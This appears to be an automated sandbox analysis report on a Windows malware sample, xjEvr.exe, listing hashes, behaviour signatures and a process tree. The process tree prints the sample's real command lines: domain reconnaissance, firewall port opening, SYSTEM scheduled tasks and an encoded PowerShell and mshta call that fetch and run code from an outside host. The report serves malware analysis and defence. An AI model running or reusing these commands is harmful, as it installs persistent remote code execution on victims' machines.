Analysis
-
max time kernel
152s -
max time network
168s -
platform
windows7_x64 -
resource
win7-en-20211208 -
submitted
28-01-2022 03:35
Static task
static1
Behavioral task
behavioral1
Sample
xjEvr.exe
Resource
win7-en-20211208
windows7_x64
0 signatures
0 seconds
Behavioral task
behavioral2
Sample
xjEvr.exe
Resource
win10-en-20211208
windows10_x64
0 signatures
0 seconds
General
-
Target
xjEvr.exe
-
Size
6.6MB
-
MD5
6d35df76deb4a90f3753cc5f08874594
-
SHA1
871eb58b0fe5e4bbabae265d144c2243bd01d706
-
SHA256
a5b3049a22d59c619f4b48926e347f475aa2568ccf169d01ca2aa613a631928c
-
SHA512
97a65b2babda90904bdbfbb0283b4b8d8556a4ebda3bf54c84478a62ea519495fd1a3df045c537c08913cd710056f60feb932a06df5cec0afb7a0c7d04a0edfd
Malware Config
Signatures
-
Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.
-
Modifies Windows Firewall 1 TTPs
-
Loads dropped DLL 20 IoCs
pid Process 1816 xjEvr.exe 1816 xjEvr.exe 1816 xjEvr.exe 1816 xjEvr.exe 1816 xjEvr.exe 1816 xjEvr.exe 1816 xjEvr.exe 1816 xjEvr.exe 1816 xjEvr.exe 1816 xjEvr.exe 1816 xjEvr.exe 1816 xjEvr.exe 1816 xjEvr.exe 1816 xjEvr.exe 1816 xjEvr.exe 1816 xjEvr.exe 1816 xjEvr.exe 1816 xjEvr.exe 1816 xjEvr.exe 1816 xjEvr.exe -
Drops file in Windows directory 2 IoCs
description ioc Process File created \??\c:\windows\bcyxgFeL.exe cmd.exe File opened for modification \??\c:\windows\bcyxgFeL.exe cmd.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Creates scheduled task(s) 1 TTPs 3 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 2184 schtasks.exe 2120 schtasks.exe 760 schtasks.exe -
Gathers network information 2 TTPs 3 IoCs
Uses commandline utility to view network configuration.
pid Process 1700 ipconfig.exe 1108 ipconfig.exe 532 netstat.exe -
Modifies data under HKEY_USERS 33 IoCs
description ioc Process Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "0" cmd.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Shell Extensions\Cached WScript.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Shell Extensions\Cached\{35786D3C-B075-49B9-88DD-029876E11C01} {ADD8BA80-002B-11D0-8F0F-00C04FD7D062} 0xFFFF = 0100000000000000c0a5f7730414d801 WScript.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\@%SystemRoot%\system32\dhcpqec.dll,-101 = "Provides DHCP based enforcement for NAP" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\@%SystemRoot%\system32\eapqec.dll,-102 = "1.0" netsh.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Shell Extensions\Cached\{B155BDF8-02F0-451E-9A26-AE317CFD7779} {ADD8BA80-002B-11D0-8F0F-00C04FD7D062} 0xFFFF = 01000000000000008068fc730414d801 WScript.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\@%SystemRoot%\system32\eapqec.dll,-100 = "EAP Quarantine Enforcement Client" netsh.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 netsh.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ cmd.exe Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "1" cmd.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\@%SystemRoot%\system32\napipsec.dll,-1 = "IPsec Relying Party" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\@%SystemRoot%\system32\napipsec.dll,-2 = "Provides IPsec based enforcement for Network Access Protection" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\@%SystemRoot%\system32\tsgqec.dll,-100 = "RD Gateway Quarantine Enforcement Client" netsh.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows Script Host\Settings WScript.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\@%SystemRoot%\system32\dhcpqec.dll,-100 = "DHCP Quarantine Enforcement Client" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\@%SystemRoot%\system32\napipsec.dll,-4 = "1.0" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\@%SystemRoot%\system32\napipsec.dll,-3 = "Microsoft Corporation" netsh.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows Script Host\Settings WScript.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft WScript.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ WScript.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\@%SystemRoot%\system32\tsgqec.dll,-103 = "Microsoft Corporation" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\@%SystemRoot%\system32\eapqec.dll,-101 = "Provides Network Access Protection enforcement for EAP authenticated network connections, such as those used with 802.1X and VPN technologies." netsh.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows Script Host WScript.exe Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "0" WScript.exe Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "1" WScript.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\@%SystemRoot%\system32\dhcpqec.dll,-103 = "1.0" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\@%SystemRoot%\system32\dhcpqec.dll,-102 = "Microsoft Corporation" netsh.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing WScript.exe Key created \REGISTRY\USER\.DEFAULT\Software WScript.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\@%SystemRoot%\system32\tsgqec.dll,-101 = "Provides RD Gateway enforcement for NAP" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\@%SystemRoot%\system32\tsgqec.dll,-102 = "1.0" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\@%SystemRoot%\system32\eapqec.dll,-103 = "Microsoft Corporation" netsh.exe -
Runs net.exe
-
Suspicious behavior: EnumeratesProcesses 7 IoCs
pid Process 1948 powershell.exe 1948 powershell.exe 1948 powershell.exe 1948 powershell.exe 1948 powershell.exe 1948 powershell.exe 1816 xjEvr.exe -
Suspicious use of AdjustPrivilegeToken 42 IoCs
description pid Process Token: SeIncreaseQuotaPrivilege 1824 WMIC.exe Token: SeSecurityPrivilege 1824 WMIC.exe Token: SeTakeOwnershipPrivilege 1824 WMIC.exe Token: SeLoadDriverPrivilege 1824 WMIC.exe Token: SeSystemProfilePrivilege 1824 WMIC.exe Token: SeSystemtimePrivilege 1824 WMIC.exe Token: SeProfSingleProcessPrivilege 1824 WMIC.exe Token: SeIncBasePriorityPrivilege 1824 WMIC.exe Token: SeCreatePagefilePrivilege 1824 WMIC.exe Token: SeBackupPrivilege 1824 WMIC.exe Token: SeRestorePrivilege 1824 WMIC.exe Token: SeShutdownPrivilege 1824 WMIC.exe Token: SeDebugPrivilege 1824 WMIC.exe Token: SeSystemEnvironmentPrivilege 1824 WMIC.exe Token: SeRemoteShutdownPrivilege 1824 WMIC.exe Token: SeUndockPrivilege 1824 WMIC.exe Token: SeManageVolumePrivilege 1824 WMIC.exe Token: 33 1824 WMIC.exe Token: 34 1824 WMIC.exe Token: 35 1824 WMIC.exe Token: SeIncreaseQuotaPrivilege 1824 WMIC.exe Token: SeSecurityPrivilege 1824 WMIC.exe Token: SeTakeOwnershipPrivilege 1824 WMIC.exe Token: SeLoadDriverPrivilege 1824 WMIC.exe Token: SeSystemProfilePrivilege 1824 WMIC.exe Token: SeSystemtimePrivilege 1824 WMIC.exe Token: SeProfSingleProcessPrivilege 1824 WMIC.exe Token: SeIncBasePriorityPrivilege 1824 WMIC.exe Token: SeCreatePagefilePrivilege 1824 WMIC.exe Token: SeBackupPrivilege 1824 WMIC.exe Token: SeRestorePrivilege 1824 WMIC.exe Token: SeShutdownPrivilege 1824 WMIC.exe Token: SeDebugPrivilege 1824 WMIC.exe Token: SeSystemEnvironmentPrivilege 1824 WMIC.exe Token: SeRemoteShutdownPrivilege 1824 WMIC.exe Token: SeUndockPrivilege 1824 WMIC.exe Token: SeManageVolumePrivilege 1824 WMIC.exe Token: 33 1824 WMIC.exe Token: 34 1824 WMIC.exe Token: 35 1824 WMIC.exe Token: SeDebugPrivilege 1948 powershell.exe Token: SeDebugPrivilege 532 netstat.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 1276 wrote to memory of 1816 1276 xjEvr.exe 28 PID 1276 wrote to memory of 1816 1276 xjEvr.exe 28 PID 1276 wrote to memory of 1816 1276 xjEvr.exe 28 PID 1276 wrote to memory of 1816 1276 xjEvr.exe 28 PID 1816 wrote to memory of 1116 1816 xjEvr.exe 29 PID 1816 wrote to memory of 1116 1816 xjEvr.exe 29 PID 1816 wrote to memory of 1116 1816 xjEvr.exe 29 PID 1816 wrote to memory of 1116 1816 xjEvr.exe 29 PID 1116 wrote to memory of 1824 1116 cmd.exe 30 PID 1116 wrote to memory of 1824 1116 cmd.exe 30 PID 1116 wrote to memory of 1824 1116 cmd.exe 30 PID 1116 wrote to memory of 1824 1116 cmd.exe 30 PID 1816 wrote to memory of 1256 1816 xjEvr.exe 32 PID 1816 wrote to memory of 1256 1816 xjEvr.exe 32 PID 1816 wrote to memory of 1256 1816 xjEvr.exe 32 PID 1816 wrote to memory of 1256 1816 xjEvr.exe 32 PID 1256 wrote to memory of 1944 1256 cmd.exe 33 PID 1256 wrote to memory of 1944 1256 cmd.exe 33 PID 1256 wrote to memory of 1944 1256 cmd.exe 33 PID 1256 wrote to memory of 1944 1256 cmd.exe 33 PID 1944 wrote to memory of 1712 1944 net.exe 34 PID 1944 wrote to memory of 1712 1944 net.exe 34 PID 1944 wrote to memory of 1712 1944 net.exe 34 PID 1944 wrote to memory of 1712 1944 net.exe 34 PID 1816 wrote to memory of 1672 1816 xjEvr.exe 35 PID 1816 wrote to memory of 1672 1816 xjEvr.exe 35 PID 1816 wrote to memory of 1672 1816 xjEvr.exe 35 PID 1816 wrote to memory of 1672 1816 xjEvr.exe 35 PID 1672 wrote to memory of 1952 1672 cmd.exe 36 PID 1672 wrote to memory of 1952 1672 cmd.exe 36 PID 1672 wrote to memory of 1952 1672 cmd.exe 36 PID 1672 wrote to memory of 1952 1672 cmd.exe 36 PID 1952 wrote to memory of 924 1952 net.exe 37 PID 1952 wrote to memory of 924 1952 net.exe 37 PID 1952 wrote to memory of 924 1952 net.exe 37 PID 1952 wrote to memory of 924 1952 net.exe 37 PID 1816 wrote to memory of 1948 1816 xjEvr.exe 38 PID 1816 wrote to memory of 1948 1816 xjEvr.exe 38 PID 1816 wrote to memory of 1948 1816 xjEvr.exe 38 PID 1816 wrote to memory of 1948 1816 xjEvr.exe 38 PID 1816 wrote to memory of 1464 1816 xjEvr.exe 39 PID 1816 wrote to memory of 1464 1816 xjEvr.exe 39 PID 1816 wrote to memory of 1464 1816 xjEvr.exe 39 PID 1816 wrote to memory of 1464 1816 xjEvr.exe 39 PID 1464 wrote to memory of 1700 1464 cmd.exe 40 PID 1464 wrote to memory of 1700 1464 cmd.exe 40 PID 1464 wrote to memory of 1700 1464 cmd.exe 40 PID 1464 wrote to memory of 1700 1464 cmd.exe 40 PID 1816 wrote to memory of 1108 1816 xjEvr.exe 41 PID 1816 wrote to memory of 1108 1816 xjEvr.exe 41 PID 1816 wrote to memory of 1108 1816 xjEvr.exe 41 PID 1816 wrote to memory of 1108 1816 xjEvr.exe 41 PID 1816 wrote to memory of 532 1816 xjEvr.exe 42 PID 1816 wrote to memory of 532 1816 xjEvr.exe 42 PID 1816 wrote to memory of 532 1816 xjEvr.exe 42 PID 1816 wrote to memory of 532 1816 xjEvr.exe 42 PID 2632 wrote to memory of 2348 2632 RIRTFAyH.exe 46 PID 2632 wrote to memory of 2348 2632 RIRTFAyH.exe 46 PID 2632 wrote to memory of 2348 2632 RIRTFAyH.exe 46 PID 2632 wrote to memory of 2348 2632 RIRTFAyH.exe 46 PID 2348 wrote to memory of 1976 2348 cmd.exe 48 PID 2348 wrote to memory of 1976 2348 cmd.exe 48 PID 2348 wrote to memory of 1976 2348 cmd.exe 48 PID 2348 wrote to memory of 1976 2348 cmd.exe 48
Processes
-
C:\Users\Admin\AppData\Local\Temp\xjEvr.exe"C:\Users\Admin\AppData\Local\Temp\xjEvr.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:1276 -
C:\Users\Admin\AppData\Local\Temp\xjEvr.exe"C:\Users\Admin\AppData\Local\Temp\xjEvr.exe"2⤵
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1816 -
C:\Windows\SysWOW64\cmd.execmd /c wmic ntdomain get domainname3⤵
- Suspicious use of WriteProcessMemory
PID:1116 -
C:\Windows\SysWOW64\Wbem\WMIC.exewmic ntdomain get domainname4⤵
- Suspicious use of AdjustPrivilegeToken
PID:1824
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c net localgroup administrators3⤵
- Suspicious use of WriteProcessMemory
PID:1256 -
C:\Windows\SysWOW64\net.exenet localgroup administrators4⤵
- Suspicious use of WriteProcessMemory
PID:1944 -
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 localgroup administrators5⤵PID:1712
-
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c net group "domain admins" /domain3⤵
- Suspicious use of WriteProcessMemory
PID:1672 -
C:\Windows\SysWOW64\net.exenet group "domain admins" /domain4⤵
- Suspicious use of WriteProcessMemory
PID:1952 -
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 group "domain admins" /domain5⤵PID:924
-
-
-
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\SysNative\WindowsPowerShell\v1.0\powershell.exe -exec bypass "import-module C:\Users\Admin\AppData\Local\Temp\m2.ps1"3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1948
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ipconfig /all3⤵
- Suspicious use of WriteProcessMemory
PID:1464 -
C:\Windows\SysWOW64\ipconfig.exeipconfig /all4⤵
- Gathers network information
PID:1700
-
-
-
C:\Windows\SysWOW64\ipconfig.exeipconfig /all3⤵
- Gathers network information
PID:1108
-
-
C:\Windows\SysWOW64\netstat.exenetstat -na3⤵
- Gathers network information
- Suspicious use of AdjustPrivilegeToken
PID:532
-
-
-
C:\Windows\RIRTFAyH.exeC:\Windows\RIRTFAyH.exe1⤵
- Suspicious use of WriteProcessMemory
PID:2632 -
C:\Windows\SysWOW64\cmd.execmd /c call "c:\windows\temp\tmp.vbs"2⤵
- Modifies data under HKEY_USERS
- Suspicious use of WriteProcessMemory
PID:2348 -
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\windows\temp\tmp.vbs"3⤵
- Modifies data under HKEY_USERS
PID:1976 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c echo CWyoEH >> c:\windows\temp\svchost.exe&echo "*" >c:\windows\temp\ipc.txt&netsh firewall add portopening tcp 65533 DNSd&netsh interface portproxy add v4tov4 listenport=65533 connectaddress=1.1.1.1 connectport=53© /y c:\windows\temp\svchost.exe c:\windows\bcyxgFeL.exe&move /y c:\windows\temp\dig.exe c:\windows\WrkhJVE.exe&if exist C:/windows/system32/WindowsPowerShell/ (schtasks /create /ru system /sc MINUTE /mo 50 /st 07:00:00 /tn "\Microsoft\windows\Bluetool" /tr "powershell -ep bypass -e SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AdgAuAGIAZQBhAGgAaAAuAGMAbwBtAC8AdgAnACsAJABlAG4AdgA6AFUAUwBFAFIARABPAE0AQQBJAE4AKQA=" /F&schtasks /create /ru system /sc MINUTE /mo 10 /st 07:05:00 /tn bcyxgFeL /tr "C:\Windows\bcyxgFeL.exe" /F&schtasks /create /ru system /sc MINUTE /mo 10 /st 07:00:00 /tn "\tOjxEur" /tr "c:\windows\WrkhJVE.exe" /F) else (start /b sc start Schedule&ping localhost&sc query Schedule|findstr RUNNING&&schtasks /delete /TN Autocheck /f&schtasks /create /ru system /sc MINUTE /mo 50 /ST 07:00:00 /TN Autocheck /tr "cmd.exe /c mshta http://w.beahh.com/page.html?pVQVVOAJK"&schtasks /run /TN Autocheck&start /b sc start Schedule&ping localhost&sc query Schedule|findstr RUNNING&&schtasks /delete /TN Autostart /f&schtasks /create /ru system /sc MINUTE /mo 10 /ST 07:00:00 /TN Autostart /tr "c:\windows\WrkhJVE.exe"&schtasks /run /TN Autostart&start /b sc start Schedule&ping localhost&sc query Schedule|findstr RUNNING&&schtasks /delete /TN escan /f&schtasks /create /ru system /sc MINUTE /mo 10 /ST 07:00:00 /TN escan /tr "c:\windows\bcyxgFeL.exe"&schtasks /run /TN escan)4⤵
- Drops file in Windows directory
PID:1920 -
C:\Windows\SysWOW64\netsh.exenetsh firewall add portopening tcp 65533 DNSd5⤵
- Modifies data under HKEY_USERS
PID:1680
-
-
C:\Windows\SysWOW64\netsh.exenetsh interface portproxy add v4tov4 listenport=65533 connectaddress=1.1.1.1 connectport=535⤵
- Modifies data under HKEY_USERS
PID:2212
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /ru system /sc MINUTE /mo 50 /st 07:00:00 /tn "\Microsoft\windows\Bluetool" /tr "powershell -ep bypass -e SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AdgAuAGIAZQBhAGgAaAAuAGMAbwBtAC8AdgAnACsAJABlAG4AdgA6AFUAUwBFAFIARABPAE0AQQBJAE4AKQA=" /F5⤵
- Creates scheduled task(s)
PID:2184
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /ru system /sc MINUTE /mo 10 /st 07:05:00 /tn bcyxgFeL /tr "C:\Windows\bcyxgFeL.exe" /F5⤵
- Creates scheduled task(s)
PID:2120
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /ru system /sc MINUTE /mo 10 /st 07:00:00 /tn "\tOjxEur" /tr "c:\windows\WrkhJVE.exe" /F5⤵
- Creates scheduled task(s)
PID:760
-
-
-
-
-
C:\Windows\GweqxYeZ.exeC:\Windows\GweqxYeZ.exe1⤵PID:2288